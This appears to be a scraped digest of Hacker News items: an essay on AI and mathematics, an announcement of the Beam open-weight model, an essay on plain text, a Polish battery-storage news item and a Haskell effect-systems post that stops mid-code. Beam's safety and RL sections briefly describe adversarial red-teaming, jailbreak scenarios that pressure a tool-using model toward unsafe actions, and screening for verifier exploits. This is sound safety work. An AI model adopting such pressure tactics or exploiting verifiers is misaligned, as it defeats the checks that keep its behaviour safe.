So far, I have focused on using AI to help us do the things we used to do, but let’s not forget that the technologies themselves raise new questions, and that we have a lot to learn about how to use them effectively. I have argued in another essay (now scheduled to appear in the Notices of the AMS ) that mathematicians should be actively involved in understanding how the technologies work and in coming up with novel and creative ways to use them to do new mathematics.

AI changing what it means to do mathematics is not without precedent. The use of algebraic methods to solve geometric problems in the seventeenth century was a new technology, and not everyone liked it; yet we mastered the new techniques and learned how to use them to great effect. The same is true of infinitesimals later in that century, algebraic structures in the nineteenth century, set-theoretic abstraction and structural language in the early twentieth century, and numerical and symbolic computation more recently. These were all alien and disconcerting when they were new. We should view those who invest time and energy in getting proof assistants and neural networks to help us discover new mathematics as doing mathematics proper, rather than dismissing them as mere technicians. In the age of AI, developing symbolic automation or training a neural network can be no less a contribution to mathematics than manually chaining inferences to prove a theorem.

I have heard arguments that as the job market contracts, we should turn inward to preserve traditional mathematical skills. On the contrary, I believe that engaging with new technologies and learning how to use them to improve our ability to reason and discover new mathematics will keep the discipline strong. Expanding our view of mathematics is the best way to expand the profession and keep it relevant.

Our message to the next generation

My rosy outlook on the future and glib advice to solve harder problems, think bigger thoughts, and try new things will not provide much comfort to students and early-career researchers, who feel the ground shifting beneath their feet. My words are not meant to diminish the challenges ahead or suggest easy responses to the disruption. Mathematics departments, community leaders, educators, professional societies, and journal boards are holding emergency meetings all over, and are doing their best to make concrete recommendations and take appropriate action. We have our work cut out for us.

Despite the uncertainty, there are some clear messages we can send to the next generation of mathematicians. The first is that we stand with you. There is nothing more important to us than the health and strength of the discipline, and ensuring that you can thrive. We have the humility to recognize that our experience and expertise are limited, and that some of the things we thought we knew in the past are no longer valid. We are committed to working with you as best we can to preserve the profession and keep it strong.

Second, mathematics is as important today as it ever was, and we need you. AI must not replace our collective ability to reason and deliberate, and mathematics remains a core capacity for doing so. We cannot imagine a world in which mathematics does not play an important part in our lives.

Finally, the next few years will be extremely interesting. We are at a new frontier, where our communal norms, values, and expectations are beginning to break down, and it’s up to all of us to figure out what should replace them. I am confident that future historians will see this moment as the start of a new era of mathematics, and that they will weigh the consequences of our actions and decisions. Mathematics has never been for the faint of heart; this is our opportunity to rise to the occasion and face the challenges together.

Beam: Reflection's 501B open-weight model

Hacker News
reflection.ai
2026-10-05 15:16:35
Comments...
Original Article

We are introducing Beam, Reflection’s first open-weight model. Beam is a sparse Mixture-of-Experts model with 501 billion total parameters, 23 billion active, built for coding, reasoning, and agentic workloads.

Beam’s capabilities come from major investments in both pretraining and reinforcement learning (RL). We pretrained the model on 23.8 trillion diverse, curated, high-quality tokens from the web and proprietary licensed datasets, matching or outperforming available similar-sized open base models. In parallel, we developed the algorithms, training environments, and infrastructure needed to sustain high-compute RL at exceptional scale. Our high-compute RL run generated over 100 million rollouts on 10.5K NVIDIA GB300 GPUs over 4 weeks of training.

Together, these efforts produced competitive open-weight performance with frontier inference compute efficiency.

Beam is undergoing final red-teaming and evaluations. You can sign up here for early access to the model. We will release the weights, technical report, model card, and developer artifacts later this month.

Model Capability

We trained Beam with a particular focus on coding and agentic performance. Beam advances the Western open-weight frontier and is competitive with larger open models like GLM 5.2 and approaching Qwen 3.8-Max on coding and agentic tasks. Where frontier open models like Kimi K3 remain ahead on raw capability, Beam's advantage is efficiency at inference time.

The below figure shows Beam's performance across a range of coding, agentic, reasoning, and STEM benchmarks. NR denotes scores that have not been reported.

Beam pairs coding and agentic capabilities with highly efficient reasoning. On advanced reasoning benchmarks, it achieves scores comparable to GLM-5.2 while using 3–4× less inference compute. Efficiency gains are even more pronounced when comparing to models in the 2T+ parameter family like Qwen 3.8-Max, which require significantly more inference compute per token.

These results translate into more intelligence per token, delivering strong model capabilities at lower cost, making Beam a powerful workhorse model for enterprise coding and agentic workloads.

Figure 2: Beam demonstrates frontier-level inference efficiency, both when measured in terms of FLOPS and token count across DeepSWE, Humanity’s Last Exam (HLE), and Terminal Bench 2.1. We used data from Artificial Analysis and DataCurve, estimating generation forward-pass compute as FLOPs ≈ 2 × active parameter count × mean generated tokens per attempt, counting each multiply-add as two operations. Generated tokens include both reasoning and the final answer. For mixture-of-experts models, we used the parameters activated per token rather than the total model size. These estimates exclude prompt prefill, context-dependent attention operations, and serving overhead, so they represent an approximate compute comparison rather than measured inference cost. We use Artificial Analysis and DataCurve as sources for other model’s evals.

High-Compute Reinforcement Learning

We made high-compute reinforcement learning a central scaling axis for Beam, investing in RL science, data, and infrastructure to turn more compute into stronger capabilities. Scaling RL enables more extensive exploration of problem-solving strategies, while longer rollouts support multi-step reasoning, tool use, and adaptation to environment feedback.

To scale reinforcement learning, we deployed 10.5K NVIDIA GB300 GPUs for four weeks generating more than 100 million rollouts with a maximum context length of 256K tokens. Training and grading used approximately 1.3 billion sandboxes. To sustain a run of this magnitude, we sourced one million high-quality coding, agentic, and STEM environments. We believe this is one of the largest scale RL runs conducted by any open lab to date. Across our evaluation suite, capabilities continued to improve as we increased RL compute, with no sign of a plateau.

Figure 3: Terminal-Bench 2.1, HLE, and DeepSWE scores as a function of cumulative RL rollouts during training of Beam’s reasoning expert, accounting for 80M of the over 100M rollouts generated across the full RL campaign. For comparison, Inkling was trained on 30M rollouts and MiMo on 753K.

We trained Beam with asynchronous policy gradients. At scale, policy staleness becomes a major source of instability for these methods. Long running rollouts have tokens that are generated by multiple model checkpoints, with earlier tokens becoming increasingly stale relative to the current policy. Numerical mismatch between training and inference engines further compounds this challenge.

We developed new algorithms to maintain stable learning under these conditions while systematically reducing training–inference mismatch throughout our pipeline. These advances enable fully asynchronous RL at scale that remains stable, even when learning from interactions generated more than a day earlier.

Figure 4: Stable learning continues as staleness builds up over time. The top plot shows the oldest sample in the batch, with the bottom plot demonstrating stable numerics. Even when training Beam with one-day staleness—107 weight versions behind the current policy—the numerics remain stable.

Learning to reason efficiently

We trained Beam with a controllable length penalty that rewards successful solutions while discouraging unnecessary tokens. Early in RL, performance improved even as completion lengths fell: the model learned to solve tasks more effectively with less reasoning. Later, as Beam developed stronger agentic capabilities, completion lengths grew again, but those additional tokens supported further gains in performance. Throughout training, RL improved the tradeoff between capability and token usage.

Figure 5: DeepSWE scores during part of the RL run. Each point corresponds to a different reasoning effort. The Pareto frontier moves in two phases. First, it contracts as the policy learns to be more token efficient. Then, the higher reasoning efforts expand outwards to achieve high performance.

Users can control this tradeoff through Beam’s reasoning effort parameter: lower settings favor shorter responses, while higher settings allow longer reasoning to improve performance on demanding tasks. This gives users the flexibility to match reasoning effort to their task and compute budget.

How behavior generalizes with RL

We designed Beam’s RL training to develop reasoning and agentic capabilities that generalize beyond its training tasks. During a phase of training on reasoning, software engineering, and terminal tasks, we saw consistent gains in browsing despite the absence of browsing tasks from the RL mixture. This transfer suggests that Beam was learning broader agentic capabilities that generalize across domains. When given web access, it organically learned to search for and query other large language models, and to use OCR APIs to read documents.

The demos below showcase Beam applying these capabilities across research, application development, gameplay, and machine learning workflows. The examples range from building a live NYC subway dashboard using public data to creating interactive applications and preparing model fine-tuning notebooks. Although Beam is text-only, it can work with information from other modalities when represented as text. In another out of distribution domain, Beam also created a fine-tuning notebook for the latest and smallest Gemma-4 model on a Text2SQL task.

Together, these demos illustrate the breadth of tasks Beam can tackle by combining reasoning, coding, and tool use. Each example includes the initial request and resulting output, along with relevant setup and user iterations.

Scaling reinforcement learning environments

Frontier-scale reinforcement learning requires a large volume of difficult, high-quality tasks. We built a pool of nearly one million environments, primarily through synthetic data pipelines, supplemented by proprietary vendor data and open-source sources.

We relied heavily on an iterative curation process. First, we synthesized or sourced environments across a broad set of domains including software engineering, terminal use, competitive coding, STEM, web search, tool use, and general knowledge work. Second, we heavily filtered tasks for difficulty (ensuring they were neither consistently solvable, nor impossible for the model) and quality (e.g., not underspecified, misleading, guessable, hackable, or otherwise broken or noisy). Third, we tested the tasks through RL, which allowed us to identify further quality or difficulty issues and inform the next iteration of sourcing and filtering.

Throughout Beam’s development, we found that compromises in data quality led to capability plateaus and other training issues. Systematic improvements to task quality were essential to sustaining capability gains throughout the run, which ended with no sign of saturation.

Frontier RL infrastructure

High-compute agentic RL requires generating rollouts, executing tools, evaluating outcomes, and updating the model at scale. We built an asynchronous platform that lets these processes run independently while coordinating the flow of experience and model updates.

During Beam’s training, we sustained an average of 110K concurrent rollouts. Seven capabilities made this practical:

Fully asynchronous execution: Agents generate rollouts while the trainer learns and publishes new model versions. Each token is tagged with the version that produced it, allowing the training algorithm to account for policy staleness as completed rollouts flow into training.

Flexible compute allocation: We adjusted the balance between inference and training as the workload evolved, operating at inference-to-training GPU ratios from 3.9:1 to 5.4:1. We also resized the trainer across five GPU mesh configurations within the same training lineage without losing training state.

Fast model updates: New weights reached the inference fleet in a median of approximately 12 seconds. Hierarchical distribution transfers weights across racks over RoCE, then shares them locally over NVLink. Compared with every replica pulling weights directly, this reduced cross-rack traffic by 75% and made fleet-wide adoption of new weights 2.2× faster.

Resilience to inference failures: During the run, 71 inference incidents were handled without terminating the training job. Inference capacity recovered in a median of eight minutes, with lost capacity accounting for just 0.02% of elapsed serving GPU-minutes.

Environments at scale: We supported up to 170K concurrent sandboxes during the run. Across the platform, we processed more than one billion sandbox creation requests, spanning over 20 clusters, two clouds, and four regions. 90% of new sandboxes were ready in under 10 seconds.

Efficient Trainer Packing: Dynamic packing kept training batches 99.99% full on average, holding per-GPU trainer throughput within 1.5% as mean rollout length grew almost 70%.

Observability and reward integrity: Per-token records enabled numerical consistency checks between training and inference at every step. Independent judges re-screened passing solutions for verifier exploits, while replayable records made rewards and their use in training inspectable.

Together, these capabilities enabled us to train on longer interactions and more demanding environments while maintaining throughput, recovering from failures, and checking the integrity of the learning process.

Pretraining a Foundation for Reasoning

Reinforcement learning builds on top of a robust base model. To facilitate reasoning, we ensured Beam’s foundation had rich knowledge in coding domains, innate agentic capabilities that could be amplified, and stable MoE optimization dynamics.

While developing Beam, we pretrained a series of iteratively bigger models to establish and verify our scaling recipe. Making their performance predictable required carefully designing model tiers, curating diverse in-house code and web validation sets, and aggressively decontaminating all training data against them. The scaling held; the final Beam Base matches its predicted performance, and also matches or outperforms accessible similar-sized open-source base models.

Figure 6: Beam’s pretraining recipe scales predictably across four orders of magnitude in compute. It achieves Pareto-optimal loss – compute performance on decontaminated code and web validation data among all comparable open base models.

Stable and balanced MoE optimization

The Beam architecture and optimization recipe emphasizes a numerically healthy foundation for sustained downstream RL. It combines interleaved local and global attention, fine-grained routed experts, a controlled residual stream, and multiple forms of load balancing to ensure stable, balanced expert utilization and healthy signal propagation through residuals.

For expert utilization, we built on auxiliary-loss-free load balancing (DeepSeek-AI et al., 2024) , introducing cosine decay of expert-bias updates to reduce routing perturbations later in training. Sequence-level balancing further encourages balanced expert utilization on data outside the pretraining distribution, preparing the model for the changing distribution of downstream RL. As a result, the final pretrained base has almost-perfect uniform utilization, ensuring all experts can be used for learned reasoning.

Figure 7: Beam’s expert utilization is near-uniform. The busiest expert’s load, averaged across MoE layers, reaches just 1.04× at pretraining completion.

For the residual stream, we developed a depth-based scaling approach that counteracts activation growth as sublayer outputs accumulate, helping keep residual norms stable as model depth increases. Combined with SandwichNorm, elementwise attention gating, and FP32 residual accumulation – which reduces rounding error when adding small updates to the stream – this recipe controls activation growth and outliers, thereby ensuring healthy signal propagation throughout all layers of Beam. This stability persists throughout pretraining, reinforcement learning, and alignment.

Figure 8: Residual stream RMS remains bounded throughout pretraining across all 52 layers of Beam, with smooth, depth-dependent trajectories and no sustained activation growth.

Quality-centric data curation

Beam was pretrained on 23.8 trillion diverse high-quality tokens from the web, public sources, and proprietary licensed datasets. Our data pipeline was designed to give Beam a foundation for downstream agentic coding: source code, technical explanations, and mathematical and scientific knowledge, preserved through every stage of curation. We train on almost all publicly accessible and unrestrictively-licensed code and code documentation on the web.

We trained our own quality classifiers for web, code, and STEM content, divided data into fine-grained quality tiers, and weighed training toward stronger material. After extensive scientific iteration, we optimized both precision and recall of data curation significantly beyond conventional web filters used in state-of-the-art OSS data frameworks. On one hand, about 95% of raw Internet tokens are eliminated through parsing, deduplication, and curation. On the other hand, we found that conventional techniques would have missed roughly 1.8 trillion high-quality tokens we retain, including 87% of our curated web-code tokens.

Code modeling requires its own curation for the highest performance. For each language, we applied individually tuned filters, removed low-quality autogenerated and unlearnable content, and trained classifiers to identify corrupted content or code that may hurt training stability. Overrepresented languages and file types are rebalanced to further broaden exposure.

We also developed a high-throughput pipeline for processing PDF artifacts, to ensure the base Beam has knowledge across a wide range of STEM topics. It integrates a vision-language OCR model with in-house quality classifiers and artifact detectors that catch malformed reconstructions, distributed across thousands of GPUs to process petabytes of technical data.

We repeated code and technical content multiple times to increase the model’s exposure over the course of its training horizon. This required careful attention to fuzzy deduplication, packing algorithms, and the science of overtraining, to ensure every repeated data source helps rather than hurts generalization.

Frontier-grade pretraining infrastructure

Beam was pretrained end-to-end in under four weeks on a cluster of 6,144 NVIDIA GB300 NVL72 GPUs. To achieve the reliability, performance, and development velocity required to train Beam at scale, we built nearly the entire infrastructure stack in-house. This included a novel topology-aware, Kubernetes-based scheduler across our clusters; an internal node lifecycle system with continuous health monitoring and alerts; and a silent data corruption (SDC) detection system capable of semi-autonomous rewinds and restarts. Together, these systems gave us the performance and operational control required to train our own frontier model efficiently and with greater stability.

As a result of extensive investments in the training recipe stability, infrastructure, and data quality, the overall pretraining run finished with an extremely smooth trajectory. We executed nine semi-automatic rewinds throughout, attributed either to non-deterministic gradient norm spikes or to suspected SDCs. In addition, the run’s goodput (the share of wall-clock time spent on training steps retained in the final model) reached 92.3% towards the end thanks to improvements in checkpointing, fault detection, and node health management.

Figure 9: Beam training loss over the course of its pretraining run. We observed no instabilities or large irrecoverable spikes.

Building a strong prior for RL in Midtraining

Our midtraining stage was designed specifically as a foundation for high-compute RL, developing the knowledge, reasoning, and tool-use capabilities that allow Beam to learn from more demanding tasks.

We built multi-stage data curation pipelines that capture the structure and complexity of real-world tasks while expanding coverage of capabilities that are difficult to learn from raw data alone. Starting from carefully selected real-world examples, these pipelines transform, combine, and extend material into training data designed to teach specific capabilities. This includes long, reasoning-rich documents that expose the model to extended chains of logic.

Midtraining also extends Beam’s effective context length to 1M tokens. We combine structured code repositories, long-horizon tasks, and high-quality long-form documents to teach the model to identify, retain, and connect relevant information across long sequences.

Together, these capabilities give RL a stronger starting point, enabling Beam to explore more complex solutions, work through longer interactions, and learn from tasks that would otherwise be out of reach.

Safety and Alignment

Our safety and alignment work involved training a second model from our pretrained checkpoint using a separate SFT and RL pipeline on data specifically targeting the principles by which the model should abide. We merged the capabilities of the two teachers – a large-scale RL teacher and a dedicated safety and alignment teacher – via multi-teacher on-policy distillation (MOPD).

We organized Beam's safety and alignment principles into three tiers:

(1) Rules that Beam should not break: following our safety policies and maintaining its identity as an AI agent.

(2) Qualities that Beam should consistently satisfy, such as: using the context it is given, making accurate claims, acknowledging uncertainty, and transparently following the user’s request.

(3) The default style for how Beam should interact: direct, thorough, efficient, and proactive in anticipating what the user may need next.

Figure 10: Alignment & safety RL predictably shapes Beam’s behavior across non-verifiable domains. From the pre-RL checkpoint, we are able to accurately forecast (dashed line) improvement in training reward (dots).

We designed the RL environments in the alignment stage to incentivize Beam’s adherence to these principles. Many of these environments involved non-verifiable rewards judged by a generative reward model, yet we were able to use them to predictably shape the model’s behavior. Forecasting how rewards would affect different behaviors before running RL, we were able to predict RL gains better than the Best-of-N ceiling alone (r = 0.79 compared to r=0.46 with BoN ceiling). This allowed us to iterate on rubrics and reward design, squash behaviors like hallucinations and excessive formatting, and improve Beam’s overall interaction quality.

Our safety training used deliberative alignment ( Guan et al., 2024 ) techniques to incorporate our safety policy directly into the model's reasoning. The dataset was built adversarially and iteratively: in each round, we trained a model, generated prompts that elicited harmful or over-refusing behavior from it, and folded the successful attacks back into SFT mixture for the next round. For safety RL, we similarly sourced single-turn, multi-turn, jailbreak, and agentic scenarios in which a simulated adversary pressures a tool-using model to take unsafe actions, to simultaneously reduce over-refusals and harmful compliance.

We will publish the results of our safety evaluations in our model technical report and will open-source safety evaluations we developed and used internally to create a shared, inspectable standard that the open ecosystem can test against and contribute to.

The Path Ahead

This preview shows what Beam can do today. We are making this early version of Beam available to a select group of users; you can sign up for the waitlist here .

We want Beam to be widely accessible and easy to build on. This month, we will release the weights under an Apache 2.0 license, along with documentation and the full stack for running, evaluating, and fine-tuning the model. We will be launching Beam with an ecosystem of distribution partners, as well as integration with a broad range of open source libraries and harnesses, so developers can use Beam across existing open-source workflows.

Beam is the first model in a series, and the first demonstration of the open intelligence our team is committed to building. We are already training what comes next, with the goal of bringing the open frontier closer to the frontier of intelligence with every release.

How did Rosalind Franklin miss the helix in her iconic DNA image? She didn't

Hacker News
www.science.org
2026-10-05 15:07:07
Comments...

One person is now a quorum at the SEC

Hacker News
www.ft.com
2026-10-05 15:06:37
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Error Code
CG000 / 403
Request ID
a45f07ece9c72d23

Why Plain Text Is Still One of the Best Technologies We Have

Hacker News
deadparrotbbs.com
2026-10-05 14:54:00
Comments...
Original Article

There are not many computer file formats I would trust to still be readable fifty years from now, but plain text is one of them. That may sound like faint praise. A text file cannot embed a spreadsheet, preserve elaborate page layouts, run a presentation, or provide many of the conveniences we expect from modern applications. What it does instead is store text in one of the simplest and most widely understood forms in computing, and that simplicity is a large part of why it has lasted.

Almost Nothing to Go Wrong

The Unicode Standard defines plain text essentially as a sequence of character codes, without the additional formatting information associated with rich text. Fonts, colors, layout, and similar presentation details belong somewhere else.

From a user’s point of view, the important part is simpler: the file contains the text itself without requiring a particular application to make sense of it. I can create a text file on Linux, copy it to a Windows machine, put it on a web server, open it in a terminal, search it with command-line tools, edit it with any number of programs, or send it to somebody using an entirely different system. Very little about the file depends on how it was created.

That is different from many document formats, where the information is closely tied to the application or family of applications that understands the format. Sometimes that is harmless. Sometimes the format is well documented and broadly supported. In other cases, opening an old file means hoping that suitable software still exists.

Plain text has very little of that baggage.

We Have Been Using It Forever for a Reason

Plain text is not some forgotten technology that needs rescuing. It remains part of the basic plumbing of computing.

Source code is generally text. Configuration files are often text. Log files are commonly text. Unix and Linux systems are full of text files. Much of the machinery behind the web also involves text in one form or another. HTML, XML, JSON, CSS, shell scripts, programming languages, configuration formats, and plenty of other things are built around characters that humans can inspect.

These are structured formats rather than ordinary prose, of course. An HTML document is not the same thing as a note in a .txt file. The similarity is that the contents are still visible. Open the file in a basic text editor and you can see what is there, even if you do not understand every part of it.

That has practical value. When something goes wrong with a text configuration file, I can inspect it directly, copy it, compare versions, search for a particular setting, or make a backup without needing the program that created it. Data that remains intelligible outside its normal application is much easier to troubleshoot and preserve.

Plain Text Plays Well With Others

One of plain text’s greatest strengths is that an enormous collection of tools already knows how to work with it.

On a Unix-like system, a text file can be handed to grep , sed , awk , sort , diff , and many other utilities that have existed for decades. A script can process thousands of files without pretending to be a human clicking through menus.

The advantage is not limited to the command line. Graphical editors, programming environments, note-taking applications, file managers, search tools, browsers, and countless other programs can work with text too. The real advantage is that the information is not tightly coupled to one interface.

Modern software often takes the opposite approach. An application may determine where your information lives, how it is organized, how it synchronizes, how it is searched, and what other software is allowed to touch it. Those systems can provide useful features, but they also make the application increasingly central to the data.

Plain text leaves more of those choices to the user.

Markdown Found a Useful Middle Ground

The obvious weakness of plain text is formatting. Headings, emphasis, links, lists, quotations, and other structures make documents easier to read, and a basic .txt file does not provide a standard way to express most of them.

Markdown is a practical compromise. It is a plain-text format for structured documents, drawing on conventions that were already familiar from email and Usenet. It was introduced in 2004, and variations of it are now used for software documentation, websites, notes, books, and many other kinds of writing.

Its real strength is that the source remains useful even if the Markdown processor disappears. A heading still looks like a heading. A bulleted list still resembles a list. A link still contains both its description and destination. The formatting syntax is visible rather than buried inside a binary structure.

That is a good example of adding useful capability without giving up the main advantages of plain text. The rendered output may be convenient, but the source file remains ordinary text.

Text Ages Surprisingly Well

Longevity may be plain text’s strongest argument.

Computer history is full of abandoned file formats and applications. Sometimes recovering an old document means locating obsolete software, finding an import filter, running an emulator, or converting through several intermediate formats.

Text files are not completely immune to compatibility problems. Older files can have character-encoding issues, and differences in line endings have caused irritation for years. Still, these are usually manageable problems compared with trying to recover information from an obscure proprietary format.

If I find an old text file, there is a very good chance that some program on a current computer can open it. Even if the formatting is crude or the encoding needs attention, the words themselves are generally recoverable.

Modern Unicode has also made plain text far more capable than the old idea of ASCII text containing little more than English letters, numbers, and punctuation. Plain text today can represent writing systems and characters from around the world while retaining the same basic idea: the file contains encoded characters rather than a proprietary presentation format.

Simple does not have to mean primitive.

It Is Also Easy to Own

The advantages of plain text become even more noticeable as software moves toward accounts, cloud storage, synchronization services, and subscriptions.

A text file can simply exist in a directory on my computer. I can back it up with the rest of my files, synchronize it however I want, put it under version control, copy it to another machine, or store it on a server I control. None of that requires the company that made my editor to stay in business or continue supporting a service.

That does not make every note-taking service or cloud application a bad idea. Specialized applications provide features that plain text alone cannot provide easily. Collaboration, databases, embedded media, complex formatting, and relationships between different kinds of information all have legitimate uses.

There is no benefit in forcing every kind of data into a .txt file. The useful distinction is whether the additional complexity solves a real problem or simply becomes another dependency.

When plain text is sufficient, it removes a surprising number of things that can later get in the way.

The Limitations Are Real

Plain text is not the answer to everything.

I would not want to replace a photograph with a text description of its pixels, and I do not want a financial workbook turned into a pile of numbers that requires me to reconstruct all the formulas manually. Rich documents exist because presentation and structure sometimes matter.

Applications also provide useful abstractions. A database can enforce relationships that a directory full of text files cannot. A word processor can handle page layout that would be tedious to reproduce manually. Specialized software exists for good reasons.

The problem is not using richer tools. It is assuming that richer tools are automatically better even when the job does not require them. In a surprising number of cases, the simplest adequate representation remains the most durable one.

Boring Is a Feature

Plain text is one of those technologies that becomes almost invisible because it works so reliably. It has no company trying to increase engagement, no account requirement, no subscription tier, and no service that can be discontinued when the business model changes.

It is portable, inspectable, searchable, scriptable, easy to back up, and remarkably resistant to obsolescence. Those qualities are not exciting, but they are useful, especially over long periods of time.

After decades of watching software and file formats come and go, I have developed a fair amount of respect for technologies that do less and survive longer. Plain text does not solve every problem, and it should not. What it does provide is a stable way to store information without requiring very much from the software around it.

For something so basic, that is a considerable achievement.

Greenvolt begins building 600 MW/2.4 GWh BESS in Poland

Hacker News
www.ess-news.com
2026-10-05 14:38:01
Comments...
Original Article

Greenvolt Group has started construction of a 600 MW/2.4 GWh battery energy storage system (BESS) in Poland, with commercial operations targeted for the end of 2027.

Greenvolt Power has started construction of a 600 MW/2.4 GWh BESS in Siedlce, Poland. It said it expects to begin commercial operations by the end of 2027.

BYD Energy Storage will supply the battery technology. The project will use 210 battery containers and 105 transformer containers equipped with power conversion systems to transfer electricity between the batteries and the grid.

P&Q will connect the BESS to the transmission network operated by Polskie Sieci Elektroenergetyczne (PSE) at 400 kV. The connection works include a new 400/110 kV substation and 400 kV and 110 kV cable links.

The facility will charge during periods of high renewable generation and discharge when electricity demand rises. Greenvolt expects the project to improve system flexibility, support the integration of wind and solar power, and help balance supply and demand.

Greenvolt has expanded its battery storage portfolio across Europe, including behind-the-meter systems for commercial and industrial customers through its Greenvolt Next subsidiary.

Greenvolt Power already operates a 200 MW/800 MWh battery storage project at Turośń Kościelna in Poland, which entered operation in July 2026.

A second 200 MW/800 MWh project at Ełk is scheduled to enter commercial operation in the fourth quarter of 2026.

Once Siedlce, Turośń Kościelna and Ełk are operating, Greenvolt will have 1 GW of battery power capacity and 4 GWh of storage capacity in Poland.

The portfolio will give the company a larger role in providing flexibility as Poland expands variable renewable generation.

From pv magazine France

Norway Eyes Partial Ban of Smart Glasses

Hacker News
www.barrons.com
2026-10-05 14:15:20
Comments...
Original Article

Please enable JS and disable any ad blocker

You don't need an effect system

Lobsters
burningwitness.github.io
2026-10-05 14:03:27
Comments...
Original Article

How we got here

A couple of months ago something rather unusual happened: I got permission to rewrite an old production codebase. Nothing wild inside, just a few services bouncing messages around and calling other places. I wrote most of it years ago, and most of it was god awful on account of the fact that I had no idea what I was doing at the time.

Like any real codebase written in Haskell, it relied on an effect system to do… well, things.

Indeed, like most of the community, I couldn't properly formulate what an effect system does. Yes, I know there are at least ten of them , all at odds with one another, yet seemingly completely interchangeable. Smarter people have narrowed the goals down to tracking effects, mocking and internal consistency , which strongly implies that plain IO is incapable of these things, and that's something I could neither confirm nor deny.

So now, being able to reassemble an entire system from the ground up, the question I got to ask was…

Am I using the effect system for anything?

  • Do I need it to pass arguments around?
    No, I can do that manually.
  • Does it make for a safer codebase?
    No, tracking effects does not preclude anyone from adding bad IO to an effect implementation, from importing unsafePerformIO , or from finding a sum of an infinite list. 1
  • Am I using it outside of IO ?
    No, for pure functions that do mutation the ST monad works just fine.
  • Is there any benefit to tracking IO as a separate effect?
    No, and in fact the opposite: there are small effects all around the codebase that I'd rather not track.
    For example, random number generation is commonplace, but the steps necessary to generate a random value are different every time. The only shared behavior is the use of generator state, and even then it's unclear if passing it around has any benefits over using the global generator.
  • Have I made use of higher-order effects?
    No, none of the effects I'm using need to overlap or nest. I'm not precisely doing rocket science over here; I'd prefer that whatever I'm using doesn't come with a whole separate manual.

After throwing out pretty much every single feature, I finally found the one thing I was using the effect system for: error handling. Which upon closer inspection turned out to be the execution of some set of other effects followed by…

Early return

This may well be the most embarrassing problem in all of Haskell. Over and over again people waltz in with the exact same basic question: "How do I return from a function early?".

And time and time again they're hit with the same three options:

  1. Make it so that the error is the last statement in the function, using Either or continuations.
    Code looks awful and constantly drifts to the right.
  2. Throw an exception.
    Roughly equivalent to burying a landmine in your backyard.
  3. Use an effect system. 2
    ???

The catch is that effect systems don't have some special third way of handling errors, they merely wrap the other two approaches. Notably, ExceptT is a faithful implementation of the first approach, threading an Either through every action. That's obviously very inefficient and is known to not compose well, so I'd prefer the second option.

Type-safe exceptions

To do this we'll need some way to carry the knowledge that a specific resource (in our case an exception) may only be used (thrown) within a specific function. This, unsurprisingly, is a problem that has been solved decades ago for file handles and raw pointers through the use of bracket . Though in our case there's nothing to allocate, the value is on the type level:

{-# LANGUAGE RoleAnnotations #-}

module Early
  ( Early
  , leave
  , runEarly
  ) where

import           Control.Exception
import           Data.Typeable


type role Early nominal
data Early a = Early


data ReturningEarly a = ReturningEarly a

instance Typeable e => Show (ReturningEarly e) where
  show = displayException

instance Typeable e => Exception (ReturningEarly e) where
  displayException (ReturningEarly _) = "Early return exception"


leave :: Typeable e => Early e -> e -> IO a
leave _Early e = throwIO $ ReturningEarly e


runEarly :: Typeable e => (Early e -> IO a) -> IO (Either e a)
runEarly f = catch (Right <$> f Early) (\(ReturningEarly e) -> pure $ Left e)

And the module can then be used like this:

import           Control.Monad
import           Early


example :: Early () -> IO Bool
example early = do
  putStrLn "Ran this action"
  when True $ do
    leave early ()

  putStrLn "Didn't run this action"
  pure True
ghci> runEarly example
Ran this action
Left ()

There are no caveats to this code beyond those that come with using bracket .

Intermission

And just like that I ran out of reasons to use an effect system.

There's not much of a story to tell from this point on: I shaped every other effect much like I had shaped Early and everything fell into place nicely. The rest of the post are my findings, structured to the best of my ability.

Effects in plain IO

Finding a definition for the word "effect" is unfortunately as tedious as finding one for "effect system". If I am to trust some people on Reddit , an "effect" is a convention to only access specific side effects through a common interface tracked on the type level.

Both Early and "handles" from the "handle pattern" fit this definition:

  1. They have interfaces ( leave , createUser ) and implementations ( runEarly , withHandle ). Compare to the similar effect/handler separation in eff .
  2. They're tracked on the type level, contrast
    createUser :: Handle -> Text -> IO User
    
    listDirectory :: FileSystem :> es => FilePath -> Eff es [FilePath]
    
    leave :: Early e -> e -> IO a
    
    throwError :: Error e :> es => e -> Eff es a

More generally, an effect in plain IO is a data type that serves as a bridge between interface and implementation functions. The data type's constructor is as such an implementation detail and should not be exported.

Effects are tracked as function arguments; this is quite different from effect systems, which prefer constraints. One benefit of this is that we don't have to deal with the complexities of disambiguating , reordering or reinterpreting effects.

Module structure

Effect systems tend to put all of their definitions into a single module, but there is no hard requirement for this. For example, Early can be broken into

module Effect.Early.Leave (Early, leave) where
module Effect.Early.Runner (Early, runEarly) where
module Effect.Early.Internal (Early, leave, runEarly) where

This can be used to track function access at module level; particularly useful if an effect has multiple interfaces (say, multiple programs rely on the same effect data type) and/or multiple implementations (say, mocking).

Error handling

Effects may throw exceptions, but if they do they're also responsible for catching them. Much like the data type constructors, exceptions are an implementation detail.

Effect implementations are generally not invoked alone however, they're stacked into a terrifyingly large pile at the very edge of the program. In our case stacking does work out of the box, but each layer pushes the successful case deeper into the chain:

runFoo :: (Foo -> IO a) -> IO (Either FooError a)

stack
  :: (Foo -> Bar -> Qux -> IO a)
  -> IO (Either FooError (Either BarError (Either QuxError a)))
stack f =
  runFoo $ \foo ->
    runBar $ \bar ->
      runQux $ \qux ->
        f foo bar qux

This can be solved rather nicely by using slightly more complicated types: 3

runFoo :: (Foo -> IO (Either e a)) -> IO (Either (Either e FooError) a)

lift :: IO a -> IO (Either Void a)
lift = fmap Right

stack
  :: (Foo -> Bar -> Qux -> IO a)
  -> IO (Either (Either (Either (Either Void QuxError) BarError) FooError) a)
stack f =
  runFoo $ \foo ->
    runBar $ \bar ->
      runQux $ \qux ->
        lift $
          f foo bar qux

Duplicate effects

Passing around two effects with the same name would be wildly confusing; passing something like a Tagged "helper" Database would be a massive nuisance. If a user needs two of the same effect, they should wrap the functions on their side into nice newtype d names (e.g. HelperDatabase ).

Duplicate exception handling in implementation functions can be addressed in a similar way by providing an extra argument and matching on that, essentially letting the user call one effect "database 1" and the other "database 2".

Real-world effects

Let's look at all of the categories of effects I ended up with (or without) in my codebase.

Argument passing, fancier

Configuration data is generally read at application start before invoking the implementation stack, and is passed into it as either function arguments or "reader" effects.

Trying to implement a "reader" outside of an effect system results in a bunch of redundant wrapping:

data Conf =
       Conf
         { bar :: Int
         , baz :: Bool
         , qux :: String
         }

